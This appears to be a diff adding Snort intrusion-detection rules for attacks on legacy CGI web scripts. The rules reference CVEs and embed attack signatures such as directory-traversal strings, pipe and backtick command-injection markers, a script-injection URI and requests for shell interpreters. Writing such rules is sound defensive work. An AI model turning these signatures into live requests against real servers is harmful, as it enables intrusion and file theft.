+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI MachineInfo access"; flow:to_server,established; uricontent:"/MachineInfo"; nocase; reference:cve,1999-1067; classtype:attempted-recon; sid:893; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-hist.sh attempt"; flow:to_server,established; uricontent:"/bb-hist.sh?HISTFILE=../.."; nocase; reference:bugtraq,142; reference:cve,1999-1462; reference:nessus,10025; classtype:web-application-attack; sid:1531; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-hist.sh access"; flow:to_server,established; uricontent:"/bb-hist.sh"; nocase; reference:bugtraq,142; reference:cve,1999-1462; reference:nessus,10025; classtype:attempted-recon; sid:894; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-histlog.sh access"; flow:to_server,established; uricontent:"/bb-histlog.sh"; nocase; reference:bugtraq,142; reference:cve,1999-1462; reference:nessus,10025; classtype:attempted-recon; sid:1459; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-histsvc.sh access"; flow:to_server,established; uricontent:"/bb-histsvc.sh"; nocase; reference:bugtraq,142; reference:cve,1999-1462; classtype:attempted-recon; sid:1460; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-hostscv.sh attempt"; flow:to_server,established; uricontent:"/bb-hostsvc.sh?HOSTSVC?../.."; nocase; reference:bugtraq,1455; reference:cve,2000-0638; reference:nessus,10460; classtype:web-application-attack; sid:1532; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-hostscv.sh access"; flow:to_server,established; uricontent:"/bb-hostsvc.sh"; nocase; reference:bugtraq,1455; reference:cve,2000-0638; reference:nessus,10460; classtype:web-application-activity; sid:1533; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-rep.sh access"; flow:to_server,established; uricontent:"/bb-rep.sh"; nocase; reference:bugtraq,142; reference:cve,1999-1462; classtype:attempted-recon; sid:1461; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bb-replog.sh access"; flow:to_server,established; uricontent:"/bb-replog.sh"; nocase; reference:bugtraq,142; reference:cve,1999-1462; classtype:attempted-recon; sid:1462; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI redirect access"; flow:to_server,established; uricontent:"/redirect"; nocase; reference:bugtraq,1179; reference:cve,2000-0382; classtype:attempted-recon; sid:895; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI wayboard attempt"; flow:to_server,established; uricontent:"/way-board/way-board.cgi"; content:"db="; content:"../.."; nocase; reference:bugtraq,2370; reference:cve,2001-0214; classtype:web-application-attack; sid:1397; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI way-board access"; flow:to_server,established; uricontent:"/way-board"; nocase; reference:bugtraq,2370; reference:cve,2001-0214; reference:nessus,10610; classtype:web-application-activity; sid:896; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pals-cgi arbitrary file access attempt"; flow:to_server,established; uricontent:"/pals-cgi"; nocase; content:"documentName="; reference:bugtraq,2372; reference:cve,2001-0217; reference:nessus,10611; classtype:web-application-attack; sid:1222; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pals-cgi access"; flow:to_server,established; uricontent:"/pals-cgi"; nocase; reference:bugtraq,2372; reference:cve,2001-0216; reference:cve,2001-0217; reference:nessus,10611; classtype:attempted-recon; sid:897; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI commerce.cgi arbitrary file access attempt"; flow:to_server,established; uricontent:"/commerce.cgi"; content:"page="; content:"/../"; nocase; reference:bugtraq,2361; reference:cve,2001-0210; reference:nessus,10612; classtype:attempted-recon; sid:1572; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI commerce.cgi access"; flow:to_server,established; uricontent:"/commerce.cgi"; nocase; reference:bugtraq,2361; reference:cve,2001-0210; reference:nessus,10612; classtype:attempted-recon; sid:898; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Amaya templates sendtemp.pl directory traversal attempt"; flow:to_server,established; uricontent:"/sendtemp.pl"; nocase; content:"templ="; nocase; reference:bugtraq,2504; reference:cve,2001-0272; classtype:web-application-attack; sid:899; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Amaya templates sendtemp.pl access"; flow:to_server,established; uricontent:"/sendtemp.pl"; nocase; reference:bugtraq,2504; reference:cve,2001-0272; classtype:web-application-activity; sid:1702; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webspirs.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/webspirs.cgi"; nocase; content:"../../"; nocase; reference:bugtraq,2362; reference:cve,2001-0211; reference:nessus,10616; classtype:web-application-attack; sid:900; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webspirs.cgi access"; flow:to_server,established; uricontent:"/webspirs.cgi"; nocase; reference:bugtraq,2362; reference:cve,2001-0211; reference:nessus,10616; classtype:attempted-recon; sid:901; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI tstisapi.dll access"; flow:to_server,established; uricontent:"tstisapi.dll"; nocase; reference:bugtraq,2381; reference:cve,2001-0302; classtype:attempted-recon; sid:902; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI sendmessage.cgi access"; flow:to_server,established; uricontent:"/sendmessage.cgi"; nocase; reference:bugtraq,3673; reference:cve,2001-1100; classtype:attempted-recon; sid:1308; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI lastlines.cgi access"; flow:to_server,established; uricontent:"/lastlines.cgi"; nocase; reference:bugtraq,3754; reference:bugtraq,3755; reference:cve,2001-1205; reference:cve,2001-1206; classtype:attempted-recon; sid:1392; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI zml.cgi attempt"; flow:to_server,established; uricontent:"/zml.cgi"; content:"file=../"; reference:bugtraq,3759; reference:cve,2001-1209; classtype:web-application-activity; sid:1395; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI zml.cgi access"; flow:to_server,established; uricontent:"/zml.cgi"; reference:bugtraq,3759; reference:cve,2001-1209; classtype:web-application-activity; sid:1396; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AHG search.cgi access"; flow:to_server,established; uricontent:"/publisher/search.cgi"; nocase; content:"template="; nocase; reference:bugtraq,3985; classtype:web-application-activity; sid:1405; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI agora.cgi attempt"; flow:to_server,established; uricontent:"/store/agora.cgi?cart_id=<SCRIPT>"; nocase; reference:bugtraq,3702; reference:bugtraq,3976; reference:cve,2001-1199; reference:cve,2002-0215; reference:nessus,10836; classtype:web-application-attack; sid:1534; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI agora.cgi access"; flow:to_server,established; uricontent:"/store/agora.cgi"; nocase; reference:bugtraq,3702; reference:bugtraq,3976; reference:cve,2001-1199; reference:cve,2002-0215; reference:nessus,10836; classtype:web-application-activity; sid:1406; rev:11;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI rksh access"; flow:to_server,established; uricontent:"/rksh"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:877; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bash access"; flow:to_server,established; uricontent:"/bash"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:web-application-activity; sid:885; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI perl.exe command attempt"; flow:to_server,established; uricontent:"/perl.exe?"; nocase; reference:arachnids,219; reference:cve,1999-0509; reference:nessus,10173; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:1648; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI perl.exe access"; flow:to_server,established; uricontent:"/perl.exe"; nocase; reference:arachnids,219; reference:cve,1999-0509; reference:nessus,10173; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:832; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI perl command attempt"; flow:to_server,established; uricontent:"/perl?"; nocase; reference:arachnids,219; reference:cve,1999-0509; reference:nessus,10173; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:1649; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI zsh access"; flow:to_server,established; uricontent:"/zsh"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:1309; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI csh access"; flow:to_server,established; uricontent:"/csh"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:862; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI tcsh access"; flow:to_server,established; uricontent:"/tcsh"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:872; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI rsh access"; flow:to_server,established; uricontent:"/rsh"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:868; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ksh access"; flow:to_server,established; uricontent:"/ksh"; nocase; reference:cve,1999-0509; reference:url,www.cert.org/advisories/CA-1996-11.html; classtype:attempted-recon; sid:865; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI auktion.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/auktion.cgi"; nocase; content:"menue=../../"; nocase; reference:bugtraq,2367; reference:cve,2001-0212; reference:nessus,10638; classtype:web-application-attack; sid:1703; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI auktion.cgi access"; flow:to_server,established; uricontent:"/auktion.cgi"; nocase; reference:bugtraq,2367; reference:cve,2001-0212; reference:nessus,10638; classtype:web-application-activity; sid:1465; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cgiforum.pl attempt"; flow:to_server,established; uricontent:"/cgiforum.pl?thesection=../.."; nocase; reference:bugtraq,1963; reference:cve,2000-1171; reference:nessus,10552; classtype:web-application-attack; sid:1573; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cgiforum.pl access"; flow:to_server,established; uricontent:"/cgiforum.pl"; nocase; reference:bugtraq,1963; reference:cve,2000-1171; reference:nessus,10552; classtype:web-application-activity; sid:1466; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI directorypro.cgi attempt"; flow:to_server,established; uricontent:"/directorypro.cgi"; content:"show="; content:"../.."; distance:1; nocase; reference:bugtraq,2793; reference:cve,2001-0780; classtype:web-application-attack; sid:1574; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI directorypro.cgi access"; flow:to_server,established; uricontent:"/directorypro.cgi"; nocase; reference:bugtraq,2793; reference:cve,2001-0780; classtype:web-application-activity; sid:1467; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Web Shopper shopper.cgi attempt"; flow:to_server,established; uricontent:"/shopper.cgi"; nocase; content:"newpage=../"; nocase; reference:bugtraq,1776; reference:cve,2000-0922; classtype:web-application-attack; sid:1468; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Web Shopper shopper.cgi access"; flow:to_server,established; uricontent:"/shopper.cgi"; nocase; reference:bugtraq,1776; reference:cve,2000-0922; classtype:attempted-recon; sid:1469; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI listrec.pl access"; flow:to_server,established; uricontent:"/listrec.pl"; nocase; reference:bugtraq,3328; reference:cve,2001-0997; classtype:attempted-recon; sid:1470; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mailnews.cgi access"; flow:to_server,established; uricontent:"/mailnews.cgi"; nocase; reference:bugtraq,2391; reference:cve,2001-0271; reference:nessus,10641; classtype:attempted-recon; sid:1471; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI book.cgi arbitrary command execution attempt"; flow:to_server,established; uricontent:"/book.cgi"; nocase; content:"current=|7C|"; nocase; reference:bugtraq,3178; reference:cve,2001-1114; reference:nessus,10721; classtype:web-application-attack; sid:1879; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI book.cgi access"; flow:to_server,established; uricontent:"/book.cgi"; nocase; reference:bugtraq,3178; reference:cve,2001-1114; reference:nessus,10721; classtype:web-application-activity; sid:1472; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI newsdesk.cgi access"; flow:to_server,established; uricontent:"/newsdesk.cgi"; nocase; reference:bugtraq,2172; reference:cve,2001-0232; classtype:attempted-recon; sid:1473; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cal_make.pl directory traversal attempt"; flow:to_server,established; uricontent:"/cal_make.pl"; nocase; content:"p0=../../"; nocase; reference:bugtraq,2663; reference:cve,2001-0463; reference:nessus,10664; classtype:web-application-attack; sid:1704; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cal_make.pl access"; flow:to_server,established; uricontent:"/cal_make.pl"; nocase; reference:bugtraq,2663; reference:cve,2001-0463; reference:nessus,10664; classtype:web-application-activity; sid:1474; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI mailit.pl access"; flow:to_server,established; uricontent:"/mailit.pl"; nocase; reference:nessus,10417; classtype:attempted-recon; sid:1475; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI sdbsearch.cgi access"; flow:to_server,established; uricontent:"/sdbsearch.cgi"; nocase; reference:bugtraq,1658; reference:cve,2001-1130; reference:nessus,10503; reference:nessus,10720; classtype:attempted-recon; sid:1476; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI swc access"; flow:to_server,established; uricontent:"/swc"; nocase; reference:nessus,10493; classtype:attempted-recon; sid:1478; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ttawebtop.cgi arbitrary file attempt"; flow:to_server,established; uricontent:"/ttawebtop.cgi"; nocase; content:"pg=../"; nocase; reference:bugtraq,2890; reference:cve,2001-0805; reference:nessus,10696; classtype:web-application-attack; sid:1479; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ttawebtop.cgi access"; flow:to_server,established; uricontent:"/ttawebtop.cgi"; nocase; reference:bugtraq,2890; reference:cve,2001-0805; reference:nessus,10696; classtype:attempted-recon; sid:1480; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI upload.cgi access"; flow:to_server,established; uricontent:"/upload.cgi"; nocase; reference:nessus,10290; classtype:attempted-recon; sid:1481; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI view_source access"; flow:to_server,established; uricontent:"/view_source"; nocase; reference:bugtraq,2251; reference:cve,1999-0174; reference:nessus,10294; classtype:attempted-recon; sid:1482; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ustorekeeper.pl directory traversal attempt"; flow:to_server,established; uricontent:"/ustorekeeper.pl"; nocase; content:"file=../../"; nocase; reference:bugtraq,2536; reference:cve,2001-0466; reference:nessus,10645; classtype:web-application-attack; sid:1730; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ustorekeeper.pl access"; flow:to_server,established; uricontent:"/ustorekeeper.pl"; nocase; reference:cve,2001-0466; reference:nessus,10645; classtype:web-application-activity; sid:1483; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI icat access"; flow:to_server,established; uricontent:"/icat"; reference:cve,1999-1069; classtype:web-application-activity; sid:1606; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Bugzilla doeditvotes.cgi access"; flow:to_server,established; uricontent:"/doeditvotes.cgi"; reference:bugtraq,3800; reference:cve,2002-0011; classtype:web-application-activity; sid:1617; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI htsearch arbitrary configuration file attempt"; flow:to_server,established; uricontent:"/htsearch?-c"; nocase; reference:cve,2000-0208; classtype:web-application-attack; sid:1600; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI htsearch arbitrary file read attempt"; flow:to_server,established; uricontent:"/htsearch?exclude=`"; nocase; reference:bugtraq,1026; reference:cve,2000-0208; reference:nessus,10105; classtype:web-application-attack; sid:1601; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI htsearch access"; flow:to_server,established; uricontent:"/htsearch"; nocase; reference:bugtraq,1026; reference:cve,2000-0208; reference:nessus,10105; classtype:web-application-activity; sid:1602; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI a1stats a1disp3.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/a1disp3.cgi?/../../"; reference:bugtraq,2705; reference:cve,2001-0561; reference:nessus,10669; classtype:web-application-attack; sid:1501; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI a1stats a1disp3.cgi access"; flow:to_server,established; uricontent:"/a1disp3.cgi"; reference:bugtraq,2705; reference:cve,2001-0561; reference:nessus,10669; classtype:web-application-activity; sid:1502; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI a1stats access"; flow:to_server,established; uricontent:"/a1stats/"; reference:bugtraq,2705; reference:cve,2001-0561; reference:nessus,10669; classtype:web-application-activity; sid:1731; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI admentor admin.asp access"; flow:to_server,established; uricontent:"/admentor/admin/admin.asp"; reference:bugtraq,4152; reference:cve,2002-0308; reference:nessus,10880; reference:url,www.securiteam.com/windowsntfocus/5DP0N1F6AW.html; classtype:web-application-activity; sid:1503; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alchemy http server PRN arbitrary command execution attempt"; flow:to_server,established; uricontent:"/PRN/../../"; reference:bugtraq,3599; reference:cve,2001-0871; classtype:web-application-activity; sid:1505; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alchemy http server NUL arbitrary command execution attempt"; flow:to_server,established; uricontent:"/NUL/../../"; reference:bugtraq,3599; reference:cve,2001-0871; classtype:web-application-activity; sid:1506; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alibaba.pl arbitrary command execution attempt"; flow:to_server,established; uricontent:"/alibaba.pl|7C|"; reference:bugtraq,770; reference:cve,1999-0885; reference:nessus,10013; classtype:web-application-attack; sid:1507; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alibaba.pl access"; flow:to_server,established; uricontent:"/alibaba.pl"; reference:bugtraq,770; reference:cve ,CAN-1999-0885; reference:nessus,10013; classtype:web-application-activity; sid:1508; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AltaVista Intranet Search directory traversal attempt"; flow:to_server,established; uricontent:"/query?mss=.."; reference:bugtraq,896; reference:cve,2000-0039; reference:nessus,10015; classtype:web-application-attack; sid:1509; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI test.bat arbitrary command execution attempt"; flow:to_server,established; uricontent:"/test.bat|7C|"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-attack; sid:1510; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI test.bat access"; flow:to_server,established; uricontent:"/test.bat"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-activity; sid:1511; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI input.bat arbitrary command execution attempt"; flow:to_server,established; uricontent:"/input.bat|7C|"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-attack; sid:1512; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI input.bat access"; flow:to_server,established; uricontent:"/input.bat"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-activity; sid:1513; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI input2.bat arbitrary command execution attempt"; flow:to_server,established; uricontent:"/input2.bat|7C|"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-attack; sid:1514; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI input2.bat access"; flow:to_server,established; uricontent:"/input2.bat"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-activity; sid:1515; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI envout.bat arbitrary command execution attempt"; flow:to_server,established; uricontent:"/envout.bat|7C|"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-attack; sid:1516; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI envout.bat access"; flow:to_server,established; uricontent:"/envout.bat"; reference:bugtraq,762; reference:cve,1999-0947; reference:nessus,10016; classtype:web-application-activity; sid:1517; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI echo.bat arbitrary command execution attempt"; flow:to_server,established; uricontent:"/echo.bat"; content:"&"; reference:bugtraq,1002; reference:cve,2000-0213; reference:nessus,10246; classtype:web-application-attack; sid:1705; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI echo.bat access"; flow:to_server,established; uricontent:"/echo.bat"; reference:bugtraq,1002; reference:cve,2000-0213; reference:nessus,10246; classtype:web-application-activity; sid:1706; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI hello.bat arbitrary command execution attempt"; flow:to_server,established; uricontent:"/hello.bat"; content:"&"; reference:bugtraq,1002; reference:cve,2000-0213; reference:nessus,10246; classtype:web-application-attack; sid:1707; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI hello.bat access"; flow:to_server,established; uricontent:"/hello.bat"; reference:bugtraq,1002; reference:cve,2000-0213; reference:nessus,10246; classtype:web-application-activity; sid:1708; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI tst.bat access"; flow:to_server,established; uricontent:"/tst.bat"; reference:bugtraq,770; reference:cve,1999-0885; reference:nessus,10014; classtype:web-application-activity; sid:1650; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /cgi-bin/ls access"; flow:to_server,established; uricontent:"/cgi-bin/ls"; nocase; reference:bugtraq,936; reference:cve,2000-0079; classtype:web-application-activity; sid:1539; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cgimail access"; flow:to_server,established; uricontent:"/cgimail"; nocase; reference:bugtraq,1623; reference:cve,2000-0726; reference:nessus,11721; classtype:web-application-activity; sid:1542; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cgiwrap access"; flow:to_server,established; uricontent:"/cgiwrap"; nocase; reference:bugtraq,1238; reference:bugtraq,3084; reference:bugtraq,777; reference:cve,1999-1530; reference:cve,2000-0431; reference:cve,2001-0987; reference:nessus,10041; classtype:web-application-activity; sid:1543; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI csSearch.cgi arbitrary command execution attempt"; flow:to_server,established; uricontent:"/csSearch.cgi"; content:"setup="; content:"`"; content:"`"; distance:1; reference:bugtraq,4368; reference:cve,2002-0495; reference:nessus,10924; classtype:web-application-attack; sid:1547; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI csSearch.cgi access"; flow:to_server,established; uricontent:"/csSearch.cgi"; reference:bugtraq,4368; reference:cve,2002-0495; reference:nessus,10924; classtype:web-application-activity; sid:1548; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /cart/cart.cgi access"; flow:to_server,established; uricontent:"/cart/cart.cgi"; reference:bugtraq,1115; reference:cve,2000-0252; classtype:web-application-activity; sid:1553; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dbman db.cgi access"; flow:to_server,established; uricontent:"/dbman/db.cgi"; reference:bugtraq,1178; reference:cve,2000-0381; reference:nessus,10403; classtype:web-application-activity; sid:1554; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI DCShop access"; flow:to_server,established; uricontent:"/dcshop"; nocase; reference:bugtraq,2889; reference:cve,2001-0821; classtype:web-application-activity; sid:1555; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI DCShop orders.txt access"; flow:to_server,established; uricontent:"/orders/orders.txt"; nocase; reference:bugtraq,2889; reference:cve,2001-0821; classtype:web-application-activity; sid:1556; rev:7;)
